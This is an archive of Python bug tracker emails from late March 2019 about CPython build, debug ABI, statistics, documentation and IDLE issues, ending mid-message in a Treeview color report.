From report at bugs.python.org  Thu Mar 28 16:47:33 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 28 Mar 2019 20:47:33 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
In-Reply-To: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>
Message-ID: <1553806053.66.0.287835312346.issue36441@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
assignee:  -> steve.dower
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Thu Mar 28 17:05:54 2019
From: report at bugs.python.org (Julien Palard)
Date: Thu, 28 Mar 2019 21:05:54 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553807154.69.0.581321244385.issue36425@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Thu Mar 28 17:08:47 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 21:08:47 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553807327.14.0.186058077166.issue36366@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 02b84cb1b4f5407309c81c8b1ae0397355d6e568 by Miss Islington (bot) (Xtreak) in branch 'master':
bpo-36366: Return None on stopping unstarted patch object (GH-12472)
https://github.com/python/cpython/commit/02b84cb1b4f5407309c81c8b1ae0397355d6e568


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Thu Mar 28 17:10:27 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 28 Mar 2019 21:10:27 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553807427.55.0.475782636012.issue36366@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Thanks, everyone!

----------
nosy: +brett.cannon
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Thu Mar 28 17:47:27 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 28 Mar 2019 21:47:27 +0000
Subject: [issue30427] isinstance checks in os.path.normcase redundant with
 os.fspath
In-Reply-To: <1495441077.08.0.893428733741.issue30427@psf.upfronthosting.co.za>
Message-ID: <1553809647.46.0.410345261454.issue30427@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 74510e2a57f6d4b51ac1ab4f778cd7a4c54b541e by Miss Islington (bot) (Wolfgang Maier) in branch 'master':
bpo-30427: eliminate redundant type checks in os.path.normcase() (GH-1712)
https://github.com/python/cpython/commit/74510e2a57f6d4b51ac1ab4f778cd7a4c54b541e


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30427>
_______________________________________

From report at bugs.python.org  Thu Mar 28 18:14:37 2019
From: report at bugs.python.org (Paul Smith)
Date: Thu, 28 Mar 2019 22:14:37 +0000
Subject: [issue36464] Python 2.7 build install fails intermittently with -j on
 MacOS
Message-ID: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org>


New submission from Paul Smith <paul at mad-scientist.net>:

Maybe no one cares anymore, but I've discovered that if I run make with -j the installation sometimes fails with this error:

install: mkdir /Users/build/.../dist/python/x86_64-darwin/lib: File exists

I believe it's because the targets altbininstall and libainstall as well as $(DESTSHARED) ($(BINLIBDEST)/lib-dynload) all contain a for loop which tries to create $(LIBDIR).  The makefile uses the install -d command to create directories and this command will fail if the directory already exists.

I haven't investigated the full dependency chain but at least two of the above targets don't have a relationship that forces make to avoid running them both at the same time.

Maybe a better solution would be to create a separate target like make-directories or something that creates all the directories and have the other targets depend on that one target.  Or something.

As it is, my MacOS builds fail about 1 in 5 times or similar.

Interestingly my Linux builds never fail.  Not sure if install works differently on Linux, or the timing is just different there.

----------
components: Build
messages: 339078
nosy: madscientist
priority: normal
severity: normal
status: open
title: Python 2.7 build install fails intermittently with -j on MacOS
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36464>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:01:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 23:01:42 +0000
Subject: [issue36465] No longer enable Py_TRACE_REFS by default in debug build
Message-ID: <1553814102.98.0.064217796616.issue36465@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

When Python is built in debug mode, PyObject gets 2 new fields: _ob_prev and _ob_next. These fields change the offset of following fields in the PyObject structure and so breaks the ABI.

I propose to modify the debug build (Py_DEBUG) to not imply Py_TRACE_REFS anymore. Antoine Pitrou proposed this idea when the C API was discussed to get a stable ABI.

Another more radical idea is to completely remove Py_TRACE_REFS special build.

----------
components: Build
messages: 339079
nosy: pitrou, vstinner
priority: normal
severity: normal
status: open
title: No longer enable Py_TRACE_REFS by default in debug build
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36465>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:02:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 23:02:28 +0000
Subject: [issue36465] No longer enable Py_TRACE_REFS by default in debug build
In-Reply-To: <1553814102.98.0.064217796616.issue36465@roundup.psfhosted.org>
Message-ID: <1553814148.63.0.829616799019.issue36465@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12550
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36465>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:07:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 23:07:30 +0000
Subject: [issue36465] No longer enable Py_TRACE_REFS by default in debug build
In-Reply-To: <1553814102.98.0.064217796616.issue36465@roundup.psfhosted.org>
Message-ID: <1553814450.35.0.988951298728.issue36465@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Another more radical idea is to completely remove Py_TRACE_REFS special build.

I wrote PR 12614 to implement this idea. I wrote it to see which code depends on it:

commit 63509498761a0e7f72585a8cd7df325ea2abd1b2 (HEAD -> remove_trace_refs, origin/remove_trace_refs)
Author: Victor Stinner <vstinner at redhat.com>
Date:   Thu Mar 28 23:26:58 2019 +0100

    WIP: bpo-36465: Remove Py_TRACE_REFS special build
    
    Remove _ob_prev and _ob_next fields of PyObject when Python is
    compiled in debug mode to make debug ABI closer to the release ABI.
    
    Remove:
    
    * sys.getobjects()
    * PYTHONDUMPREFS environment variable
    * _PyCoreConfig.dump_refs
    * PyObject._ob_prev and PyObject._ob_next fields
    * _PyObject_HEAD_EXTRA and _PyObject_EXTRA_INIT macros
    * _Py_AddToAllObjects()
    * _Py_PrintReferenceAddresses()
    * _Py_PrintReferences()
    * _Py_ForgetReference(op) is replaced with _Py_INC_TPFREES(op)

I never used PYTHONDUMPREFS. I just tried in Python 3.7: Python does crash with this option... so this option doesn't sound popuplar. Otherwise, many users would complain.

$ PYTHONDUMPREFS=1 python3.7-dbg -c pass
...
0x7f7eae14aa90 [1] 'Thread-local dummy'
0x7f7eae19b448 [1] (<class '_thread._localdummy'>, <class 'object'>)
0x7f7eae14aa30 [1] {'__doc__': 'Thread-local dummy'}
0x7f7eae1356d8 [1] (<class 'object'>,)
0x7d0940 [2] <class '_thread._localdummy'>
0x7f7eae120d58 [1] Segmentation fault (core dumped)

I never used sys.getobjects() neither, but I can imagine that someone might want to use for very specific needs. So maybe it's safer to not immediately remove the feature. At least, a deprecation period would be needed.

I suggest to reject PR 12614 and not remove Py_TRACE_REFS.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36465>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:15:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 23:15:56 +0000
Subject: [issue36465] No longer enable Py_TRACE_REFS by default in debug build
In-Reply-To: <1553814102.98.0.064217796616.issue36465@roundup.psfhosted.org>
Message-ID: <1553814956.28.0.363518414461.issue36465@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12551

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36465>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:17:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 28 Mar 2019 23:17:20 +0000
Subject: [issue36465] No longer enable Py_TRACE_REFS by default in debug build
In-Reply-To: <1553814102.98.0.064217796616.issue36465@roundup.psfhosted.org>
Message-ID: <1553815040.22.0.898937799832.issue36465@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

PR 12615 changes Py_DEBUG to no longer imply Py_TRACE_REFS. IMHO it's a more reasonable approach.

I'm not sure if it's enough to magically get exactly the same ABI than Python built in release mode.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36465>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:37:04 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 28 Mar 2019 23:37:04 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1553451861.52.0.943199842847.issue27181@roundup.psfhosted.org>
Message-ID: <20190328233658.GM31406@ando.pearwood.info>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

> In the spirit of "perfect is the enemy of good", would it be 
> reasonable to start with a simple, fast implementation using 
> exp-mean-log?  Then if someone wants to make it more accurate later, 
> they can do so.

I think that is a reasonable idea. On the basis that something is better 
than nothing, go ahead. We can discuss accuracy and speed issues later.

Getting some tricky cases down for reference:

# older (removed) implementation
py> geometric_mean([7]*2)
7.0
py> geometric_mean([7]*15)
7.0

# Raymond's newer (faster) implementation
py> exp(fmean(map(log, [7]*2)))
6.999999999999999
py> exp(fmean(map(log, [7]*15)))
6.999999999999999

py> geometric_mean([3,27])
9.0
py> geometric_mean([3,27]*5)
9.0

py> exp(fmean(map(log, [3,27])))
9.000000000000002
py> exp(fmean(map(log, [3,27]*5)))
8.999999999999998

py> x = 2.5e15
py> geometric_mean([x]*100)
2500000000000000.0
py> exp(fmean(map(log, [x]*100)))
2499999999999999.5

On the other hand, sometimes rounding errors work in our favour:

py> geometric_mean([1e50, 1e-50])  # people might expect 1.0
0.9999999999999998
py> 1e-50 == 1/(1e50)  # even though they aren't quite inverses
False

py> exp(fmean(map(log, [1e50, 1e-50])))
1.0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Thu Mar 28 19:46:36 2019
From: report at bugs.python.org (JUN-WEI SONG)
Date: Thu, 28 Mar 2019 23:46:36 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1553816796.1.0.375736276853.issue36260@roundup.psfhosted.org>


JUN-WEI SONG <sungboss2004 at gmail.com> added the comment:

Thank you python community, these two issues are indeed the same problem.

I also think that it is good to make a related document to reduce such problems.

----------
stage:  -> resolved
status:  -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Thu Mar 28 20:03:09 2019
From: report at bugs.python.org (JUN-WEI SONG)
Date: Fri, 29 Mar 2019 00:03:09 +0000
Subject: [issue36462] CVE-2019-9674 : zip bomb vulnerability in Lib/zipfile.py
In-Reply-To: <1553787971.02.0.405823788778.issue36462@roundup.psfhosted.org>
Message-ID: <1553817789.02.0.851206722637.issue36462@roundup.psfhosted.org>


JUN-WEI SONG <sungboss2004 at gmail.com> added the comment:

Thanks to the python community, both of these issues are the same.

I also think it's a good thing to make related documentation to reduce this type of problem rather than implementing it on a low-level zipfile module. Perhaps we can customize such a requirement through a pip package.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36462>
_______________________________________

From report at bugs.python.org  Thu Mar 28 20:06:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 29 Mar 2019 00:06:14 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za>
Message-ID: <1553817974.52.0.0874636352132.issue27181@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy:  -vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Thu Mar 28 20:08:46 2019
From: report at bugs.python.org (Ned Deily)
Date: Fri, 29 Mar 2019 00:08:46 +0000
Subject: [issue36464] Python 2.7 build install fails intermittently with -j on
 MacOS
In-Reply-To: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org>
Message-ID: <1553818126.35.0.445622277897.issue36464@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

What version of macOS do you see this with and to what kind of macOS file system are you installing?  Also, is the failure seem with Python 3.x installs?  For what it's worth, I've never seen this and I do a *lot* of make installs on macOS but, while I usually do a make -j3 for the build steps, I rarely use -j on install steps as I doubt it has much positive effect there.

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36464>
_______________________________________

From report at bugs.python.org  Thu Mar 28 20:20:57 2019
From: report at bugs.python.org (KunYu Chen)
Date: Fri, 29 Mar 2019 00:20:57 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1553818857.45.0.754381102705.issue36260@roundup.psfhosted.org>


KunYu Chen <xspiritualx at gmail.com> added the comment:

Thank you for the responses.

I agree with Christian Heimes.

It's indeed better to improve the documentation rather than directly implement the heuristic.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Thu Mar 28 21:16:42 2019
From: report at bugs.python.org (Rune Tynan)
Date: Fri, 29 Mar 2019 01:16:42 +0000
Subject: [issue18697] Unify arguments names in Unicode object C API
 documentation
In-Reply-To: <1376074126.58.0.40251146149.issue18697@psf.upfronthosting.co.za>
Message-ID: <1553822202.89.0.559996232688.issue18697@roundup.psfhosted.org>


Rune Tynan <runetynan at gmail.com> added the comment:

I have some interest in making a fix for this. From discussion, I'm thinking that, barring names that already have clear meaning (EG, left/right for things with two parameters):
- PyObject* that is unknown type remains `obj`
- PyObject* with unicode string is `unicode`
- const char*, const Py_UNICODE*, and const wchar* becomes `str`
- const char, const Py_UNICODE, and const wchar become `ch`

Those seem to be the intersect of most common and most descriptive names already seen.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18697>
_______________________________________

From report at bugs.python.org  Thu Mar 28 21:47:43 2019
From: report at bugs.python.org (Carol Willing)
Date: Fri, 29 Mar 2019 01:47:43 +0000
Subject: [issue36464] Python 2.7 build install fails intermittently with -j on
 MacOS
In-Reply-To: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org>
Message-ID: <1553824063.06.0.0303267999871.issue36464@roundup.psfhosted.org>


Carol Willing <willingc at gmail.com> added the comment:

Thanks @madscientist for filing an issue. It would be helpful to have a bit more detail on what specific MacOS version you are building on as well as the specific commands that you are executing.

Does this also happen if you run `make clean` before running a build?

----------
nosy: +willingc

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36464>
_______________________________________

From report at bugs.python.org  Thu Mar 28 21:55:29 2019
From: report at bugs.python.org (Carol Willing)
Date: Fri, 29 Mar 2019 01:55:29 +0000
Subject: [issue33043] Add a 'Contributing to Docs' link at the bottom of
 docs.python.org
In-Reply-To: <1520703028.47.0.467229070634.issue33043@psf.upfronthosting.co.za>
Message-ID: <1553824529.59.0.765645678247.issue33043@roundup.psfhosted.org>


Carol Willing <willingc at gmail.com> added the comment:


New changeset 081158e3ba20dfa95d09cd652a44e271b95eb14c by Carol Willing (Susan Su) in branch 'master':
bpo-33043: Add a Contributing to Docs link and Update the Found a Bug Page (#12006)
https://github.com/python/cpython/commit/081158e3ba20dfa95d09cd652a44e271b95eb14c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33043>
_______________________________________

From report at bugs.python.org  Thu Mar 28 21:57:26 2019
From: report at bugs.python.org (Carol Willing)
Date: Fri, 29 Mar 2019 01:57:26 +0000
Subject: [issue33043] Add a 'Contributing to Docs' link at the bottom of
 docs.python.org
In-Reply-To: <1520703028.47.0.467229070634.issue33043@psf.upfronthosting.co.za>
Message-ID: <1553824646.83.0.239449735109.issue33043@roundup.psfhosted.org>


Change by Carol Willing <willingc at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33043>
_______________________________________

From report at bugs.python.org  Thu Mar 28 22:11:47 2019
From: report at bugs.python.org (cary)
Date: Fri, 29 Mar 2019 02:11:47 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
Message-ID: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>


New submission from cary <cary at dropbox.com>:

Similar to how `-OO` currently strips docstrings from compiled bytecode, it would be nice if there were a way to strip annotations as well to further compact the bytecode.

Attached is my initial attempt. From some simple manual testing, Python with this patch applied will generate the same bytecode (verified with `marshal` and `dis`) for two files with the same logic, but with annotations manually removed from one of them.

This will probably need some new flag/optimization level rather than relying on `-OO` (as it would be a breaking change).

Open to initial reviews of the patch and idea in general, and suggestions on how to best thread the option through to the module.

----------
components: Interpreter Core
files: strip_annotations.patch
keywords: patch
messages: 339091
nosy: cary
priority: normal
severity: normal
status: open
title: Adding a way to strip annotations from compiled bytecode
type: enhancement
Added file: https://bugs.python.org/file48237/strip_annotations.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Thu Mar 28 22:15:36 2019
From: report at bugs.python.org (Carol Willing)
Date: Fri, 29 Mar 2019 02:15:36 +0000
Subject: [issue36064] docs: urllib.request.Request not accepting iterables
 data type
In-Reply-To: <1550744621.39.0.0634252256257.issue36064@roundup.psfhosted.org>
Message-ID: <1553825736.75.0.547461969334.issue36064@roundup.psfhosted.org>


Carol Willing <willingc at gmail.com> added the comment:


New changeset 9e30fbac019d9c0a31d444a711e845c7e883caf5 by Carol Willing (Julien Palard) in branch 'master':
bpo-36064: Clarify allowed data types for urllib.request.Request. (GH-11990)
https://github.com/python/cpython/commit/9e30fbac019d9c0a31d444a711e845c7e883caf5


----------
nosy: +willingc

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36064>
_______________________________________

From report at bugs.python.org  Thu Mar 28 22:18:42 2019
From: report at bugs.python.org (Carol Willing)
Date: Fri, 29 Mar 2019 02:18:42 +0000
Subject: [issue36064] docs: urllib.request.Request not accepting iterables
 data type
In-Reply-To: <1550744621.39.0.0634252256257.issue36064@roundup.psfhosted.org>
Message-ID: <1553825922.39.0.138119740662.issue36064@roundup.psfhosted.org>


Carol Willing <willingc at gmail.com> added the comment:

I've merged Julien Palard's doc PR. Is this sufficient to close this issue?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36064>
_______________________________________

From report at bugs.python.org  Thu Mar 28 23:55:43 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 29 Mar 2019 03:55:43 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za>
Message-ID: <1553831743.95.0.0415889223928.issue27181@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> On the basis that something is better than nothing, go ahead.
> We can discuss accuracy and speed issues later.

Thanks.  I'll put together a PR for your consideration.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Fri Mar 29 00:37:00 2019
From: report at bugs.python.org (Paul Smith)
Date: Fri, 29 Mar 2019 04:37:00 +0000
Subject: [issue36464] Python 2.7 build install fails intermittently with -j on
 MacOS
In-Reply-To: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org>
Message-ID: <1553834220.82.0.0498209371133.issue36464@roundup.psfhosted.org>


Paul Smith <paul at mad-scientist.net> added the comment:

I've tried on both MacOS 10.12 and 10.14.  I'm using GNU make 4.2.1 (built myself, not the one that comes with Xcode).

I have not tried Python3 builds.  I agree with you that -jN probably has little impact on the install step, but the build infrastructure I'm using simply provides it by default on both the build and install steps.

All my builds are completely from scratch and scripted; I start with a tarball, unpack it, then do an out-of-tree builds that run configure, then run "make" then "make install".

Note that these commands are _themselves_ invoked from a makefile the controls the build so they are recursive make invocations and the parent make was started with -j8 or so, causing the child makes to inherit that parallelism.

I doubt much of that is relevant though.  Here's the issue:

  install: commoninstall ...

  commoninstall: ... altbininstall ... libainstall ...

  altbininstall: $(BUILDPYTHON)

  libainstall: all python-config

So, these two targets altbininstall and libainstall are both prerequisites of commoninstall, which is a prerequisite of install.

Since there's no dependency relationship between altbininstall and libainstall, make is free to run them both at the same time if you invoke it with parallelism enabled.

Both of these targets try to create directories; altbininstall uses:

        @for i in $(BINDIR) $(LIBDIR); \
        do \
                if test ! -d $(DESTDIR)$$i; then \
                        echo "Creating directory $$i"; \
                        $(INSTALL) -d -m $(DIRMODE) $(DESTDIR)$$i; \
                else    true; \
                fi; \
        done

and libainstall uses:

        @for i in $(LIBDIR) $(LIBP) $(LIBPL) $(LIBPC); \
        do \
                if test ! -d $(DESTDIR)$$i; then \
                        echo "Creating directory $$i"; \
                        $(INSTALL) -d -m $(DIRMODE) $(DESTDIR)$$i; \
                else    true; \
                fi; \
        done

You can see that both try to create the directory $(LIBDIR).  They do test for directory existence first but that's not sufficient when running in parallel: if they are running at the same time they might both test at the same time and succeed, then one will create the directory first.

Because the rule uses install -d, which (unlike mkdir -p for example) will fail if the directory already exists, you have a potential problem here.

If the Python 3 makefile has similar target constructs it will have the same issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36464>
_______________________________________

From report at bugs.python.org  Fri Mar 29 00:53:31 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 29 Mar 2019 04:53:31 +0000
Subject: [issue36064] docs: urllib.request.Request not accepting iterables
 data type
In-Reply-To: <1550744621.39.0.0634252256257.issue36064@roundup.psfhosted.org>
Message-ID: <1553835211.84.0.353235221636.issue36064@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I would propose closing it since docs were made improved and if type checking needs to be enforced then it can be discussed in the linked open issues that have patches.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36064>
_______________________________________

From report at bugs.python.org  Fri Mar 29 02:37:48 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 29 Mar 2019 06:37:48 +0000
Subject: [issue32419] Add unittest support for pyc projects
In-Reply-To: <1514064360.62.0.213398074469.issue32419@psf.upfronthosting.co.za>
Message-ID: <1553841468.24.0.444022266684.issue32419@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> duplicate
stage: test needed -> resolved
status: open -> closed
superseder:  -> unittest fails with "Start directory is not importable" when trying to run sourceless tests

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32419>
_______________________________________

From report at bugs.python.org  Fri Mar 29 02:50:17 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 29 Mar 2019 06:50:17 +0000
Subject: [issue26537] ConfigParser has optionxform, but not sectionxform
In-Reply-To: <1457678417.52.0.410667040467.issue26537@psf.upfronthosting.co.za>
Message-ID: <1553842217.4.0.214391684966.issue26537@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26537>
_______________________________________

From report at bugs.python.org  Fri Mar 29 03:28:51 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 29 Mar 2019 07:28:51 +0000
Subject: [issue36467] IDLE to help with invisible characters
Message-ID: <1553844531.48.0.961433807157.issue36467@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

When teaching Python, it is common to have someone encounter as code issue where the code looks fine, but it raising a SyntaxError.   Usually, the problem is solved by deleting the line and retyping it.

I would think that IDLE would be able to detect unprintable characters and deal with them in some way (display a placeholder, elide them from the text, add a warning message, or some such).  If IDLE can help out in this regard, it would improve the end-user experience.

----------
assignee: terry.reedy
components: IDLE
messages: 339097
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE to help with invisible characters
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36467>
_______________________________________

From report at bugs.python.org  Fri Mar 29 03:30:09 2019
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Fri, 29 Mar 2019 07:30:09 +0000
Subject: [issue35224] PEP 572: Assignment Expressions
In-Reply-To: <1542070337.94.0.788709270274.issue35224@psf.upfronthosting.co.za>
Message-ID: <1553844609.15.0.0861122325663.issue35224@roundup.psfhosted.org>


Vedran ?a?i? <vedgar at gmail.com> added the comment:

Now I had the opportunity to play with the walrus (as it is affectionately called in some parts of the community), I have to ask you for a reconsideration of one part of PEP 572.

    Unparenthesized assignment expressions are prohibited at the top level of an expression statement. This rule is included to simplify the choice for the user between an assignment statement and an assignment expression -- there is no syntactic position where both are valid.

Correct, but the motivation rests on a wrong premise, that the effect is the same. In one very important case, it is not: in REPL (including things like Jupyter notebooks), the values of expressions are printed (if not None). I really hoped that the walrus would enable me to both assign and see the result at once. (Now it does, but I have to parenthesize, and that just looks ugly.)

More than half of the cells in my Jupyter notebooks are of the form

    name = some.complicated.method(of={some: arguments})
    name

    another_name = another.method(name, [additional, arguments])
    another_name

And while I understand why I had to write them like this before PEP 572, now I really think they would look much tidier as

    name := some.complicated.method(of={some: arguments})

    another_name := another.method(name, [additional, arguments])

Please reconsider.

----------
nosy: +veky

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35224>
_______________________________________

From report at bugs.python.org  Fri Mar 29 03:45:49 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Fri, 29 Mar 2019 07:45:49 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1553845549.8.0.633812357234.issue36150@roundup.psfhosted.org>


Zackery Spytz <zspytz at gmail.com> added the comment:

I again encountered an assertion failure that involved PyCData_reduce(). In that function, PyBytes_FromStringAndSize() may be evaluated before PyObject_GetAttrString(). If a MemoryError occurs in PyBytes_FromStringAndSize(), an assertion failure will occur in _PyType_Lookup() when PyObject_GetAttrString() is called.

The assertion failure occurs before the Py_BuildValue() call. Please reopen the issue and the PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Fri Mar 29 03:48:59 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 29 Mar 2019 07:48:59 +0000
Subject: [issue35194] A typo in a constant in cp932 codec
In-Reply-To: <1541717724.61.0.788709270274.issue35194@psf.upfronthosting.co.za>
Message-ID: <1553845739.57.0.687469249772.issue35194@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35194>
_______________________________________

From report at bugs.python.org  Fri Mar 29 03:49:13 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 29 Mar 2019 07:49:13 +0000
Subject: [issue35194] A typo in a constant in cp932 codec
In-Reply-To: <1541717724.61.0.788709270274.issue35194@psf.upfronthosting.co.za>
Message-ID: <1553845753.06.0.592271051716.issue35194@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 5f45979b63300338b68709bfe817ddae563b93fd by Inada Naoki (Alexey Izbyshev) in branch 'master':
bpo-35194: cjkcodec: check the encoded value is not truncated (GH-10432)
https://github.com/python/cpython/commit/5f45979b63300338b68709bfe817ddae563b93fd


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35194>
_______________________________________

From report at bugs.python.org  Fri Mar 29 04:31:58 2019
From: report at bugs.python.org (Burgunder)
Date: Fri, 29 Mar 2019 08:31:58 +0000
Subject: [issue36468] Treeview: wrong color change
Message-ID: <1553848318.4.0.250762836848.issue36468@roundup.psfhosted.org>


New submission from Burgunder <guillaume.burgunder at univ-fcomte.fr>:

Hello,
color change with Treeview does not work in Python 3.7.3,
but it works with Python 3.7.2.

Test code:
# -*- coding: utf-8 -*-
import tkinter
